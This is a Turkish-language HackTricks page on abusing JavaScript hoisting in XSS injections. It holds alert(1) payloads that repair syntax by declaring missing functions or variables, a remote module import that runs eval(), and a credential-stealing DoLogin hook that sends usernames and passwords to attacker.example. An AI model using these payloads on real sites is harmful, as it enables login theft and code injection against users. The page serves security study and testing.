mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			158 lines
		
	
	
		
			6.6 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			158 lines
		
	
	
		
			6.6 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # JS Hoisting
 | ||
| 
 | ||
| {{#include ../../banners/hacktricks-training.md}}
 | ||
| 
 | ||
| ## Temel Bilgiler
 | ||
| 
 | ||
| JavaScript dilinde, değişken, fonksiyon, sınıf veya import bildirimlerinin kod çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği **Hoisting** adlı bir mekanizma vardır. Bu süreç, script'i birden fazla geçişte işleyen JavaScript motoru tarafından otomatik olarak gerçekleştirilir.
 | ||
| 
 | ||
| İlk geçişte motor, sözdizimi hatalarını kontrol etmek için kodu parse eder ve onu bir soyut sözdizim ağacına (abstract syntax tree) dönüştürür. Bu aşama hoisting'i içerir; belirli bildirimlerin yürütme bağlamının en üstüne taşındığı bir süreçtir. Parse aşaması başarılı olup sözdizimi hatası yoksa script yürütülmesine devam edilir.
 | ||
| 
 | ||
| Şunu anlamak önemlidir:
 | ||
| 
 | ||
| 1. Script'in yürütülebilmesi için sözdizimi hatası içermemesi gerekir. Sözdizimi kurallarına kesinlikle uyulmalıdır.
 | ||
| 2. Kodun script içindeki yerleşimi hoisting nedeniyle yürütmeyi etkiler; yürütülen kod metinsel gösteriminden farklı olabilir.
 | ||
| 
 | ||
| #### Hoisting Türleri
 | ||
| 
 | ||
| MDN'den alınan bilgilere göre JavaScript'te dört farklı hoisting türü vardır:
 | ||
| 
 | ||
| 1. **Value Hoisting**: Bir değişkenin değerinin, deklarasyon satırından önce kapsamı içinde kullanılabilmesini sağlar.
 | ||
| 2. **Declaration Hoisting**: Bir değişkene deklarasyonundan önce kapsamı içinde başvurmayı `ReferenceError` oluşturmadan sağlar, ancak değişkenin değeri `undefined` olur.
 | ||
| 3. Bu tür, değişkenin gerçek deklarasyon satırından önce bildirilmiş gibi davranılmasından dolayı kapsam içindeki davranışı değiştirir.
 | ||
| 4. Bildirimin yan etkileri, onu içeren geri kalan kod değerlendirilmeden önce gerçekleşir.
 | ||
| 
 | ||
| Detaylı olarak, function deklarasyonları type 1 hoisting davranışı gösterir. `var` anahtar kelimesi type 2 davranışı gösterir. Lexical deklarasyonlar, `let`, `const` ve `class` dahil, type 3 davranışı gösterir. Son olarak, `import` ifadeleri hem type 1 hem de type 4 davranışlarla hoisted oldukları için benzersizdir.
 | ||
| 
 | ||
| ## Senaryolar
 | ||
| 
 | ||
| Bu nedenle, eğer kullanılmamış (undeclared) bir obje kullanıldıktan sonra JS kodu enjekte edebileceğiniz senaryolar varsa, onu bildirerek sözdizimini düzeltebilir (böylece hata fırlatmak yerine kodunuz çalıştırılır):
 | ||
| ```javascript
 | ||
| // The function vulnerableFunction is not defined
 | ||
| vulnerableFunction('test', '<INJECTION>');
 | ||
| // You can define it in your injection to execute JS
 | ||
| //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
 | ||
| '-alert(1)-''); function vulnerableFunction(a,b){return 1};
 | ||
| 
 | ||
| //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
 | ||
| test'); function vulnerableFunction(a,b){ return 1 };alert(1)
 | ||
| ```
 | ||
| 
 | ||
| ```javascript
 | ||
| // If a variable is not defined, you could define it in the injection
 | ||
| // In the following example var a is not defined
 | ||
| function myFunction(a,b){
 | ||
| return 1
 | ||
| };
 | ||
| myFunction(a, '<INJECTION>')
 | ||
| 
 | ||
| //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
 | ||
| test'); var a = 1; alert(1);
 | ||
| ```
 | ||
| 
 | ||
| ```javascript
 | ||
| // If an undeclared class is used, you cannot declare it AFTER being used
 | ||
| var variable = new unexploitableClass();
 | ||
| <INJECTION>
 | ||
| // But you can actually declare it as a function, being able to fix the syntax with something like:
 | ||
| function unexploitableClass() {
 | ||
| return 1;
 | ||
| }
 | ||
| alert(1);
 | ||
| ```
 | ||
| 
 | ||
| ```javascript
 | ||
| // Properties are not hoisted
 | ||
| // So the following examples where the 'cookie' attribute doesn´t exist
 | ||
| // cannot be fixed if you can only inject after that code:
 | ||
| test.cookie("leo", "INJECTION")
 | ||
| test[("cookie", "injection")]
 | ||
| ```
 | ||
| ## Daha Fazla Senaryo
 | ||
| ```javascript
 | ||
| // Undeclared var accessing to an undeclared method
 | ||
| x.y(1,INJECTION)
 | ||
| // You can inject
 | ||
| alert(1));function x(){}//
 | ||
| // And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
 | ||
| x.y(1,alert(1));function x(){}//)
 | ||
| ```
 | ||
| 
 | ||
| ```javascript
 | ||
| // Undeclared var accessing 2 nested undeclared method
 | ||
| x.y.z(1,INJECTION)
 | ||
| // You can inject
 | ||
| ");import {x} from "https://example.com/module.js"//
 | ||
| // It will be executed
 | ||
| x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
 | ||
| 
 | ||
| 
 | ||
| // The imported module:
 | ||
| // module.js
 | ||
| var x = {
 | ||
| y: {
 | ||
| z: function(param) {
 | ||
| eval(param);
 | ||
| }
 | ||
| }
 | ||
| };
 | ||
| 
 | ||
| export { x };
 | ||
| ```
 | ||
| 
 | ||
| ```javascript
 | ||
| // In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
 | ||
| // It was injected the: let config;`-alert(1)`//`
 | ||
| // With the goal of making in the block the var config be empty, so the return is not executed
 | ||
| // And the same injection was replicated in the body URL to execute an alert
 | ||
| 
 | ||
| try {
 | ||
| if (config) {
 | ||
| return
 | ||
| }
 | ||
| // TODO handle missing config for: https://try-to-catch.glitch.me/"+`
 | ||
| let config
 | ||
| ;`-alert(1)` //`+"
 | ||
| } catch {
 | ||
| fetch("/error", {
 | ||
| method: "POST",
 | ||
| body: {
 | ||
| url:
 | ||
| "https://try-to-catch.glitch.me/" +
 | ||
| `
 | ||
| let config;` -
 | ||
| alert(1) -
 | ||
| `//` +
 | ||
| "",
 | ||
| },
 | ||
| })
 | ||
| }
 | ||
| trigger()
 | ||
| ```
 | ||
| ### const ile bir ismi kilitleyerek sonraki bildirimleri önleyin
 | ||
| 
 | ||
| Eğer bir üst düzey `function foo(){...}` ayrıştırılmadan önce çalıştırma yapabiliyorsanız, aynı isimle leksikal bir bağlama tanımlamak (ör. `const foo = ...`) daha sonra gelen function bildirimlerinin o tanımlayıcıyı yeniden bağlamasını engeller. Bu, sayfada daha sonra tanımlanan kritik handler'ları ele geçirmek için RXSS'te kötüye kullanılabilir:
 | ||
| ```javascript
 | ||
| // Malicious code runs first (e.g., earlier inline <script>)
 | ||
| const DoLogin = () => {
 | ||
| const pwd  = Trim(FormInput.InputPassword.value)
 | ||
| const user = Trim(FormInput.InputUtente.value)
 | ||
| fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
 | ||
| }
 | ||
| 
 | ||
| // Later, the legitimate page tries to declare:
 | ||
| function DoLogin(){ /* ... */ } // cannot override the existing const binding
 | ||
| ```
 | ||
| Notlar
 | ||
| - Bu, yürütme sırasına ve global (üst-seviye) kapsamına dayanır.
 | ||
| - Eğer payload'unuz `eval()` içinde çalıştırılıyorsa, `eval` içindeki `const/let`'in blok kapsamlı olduğunu ve global bağlamlar oluşturmayacağını unutmayın. Gerçek bir global `const` oluşturmak için kodu içeren yeni bir `<script>` elementi enjekte edin.
 | ||
| 
 | ||
| ## Kaynaklar
 | ||
| 
 | ||
| - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
 | ||
| - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
 | ||
| - [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
 | ||
| - [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
 | ||
| 
 | ||
| {{#include ../../banners/hacktricks-training.md}}
 |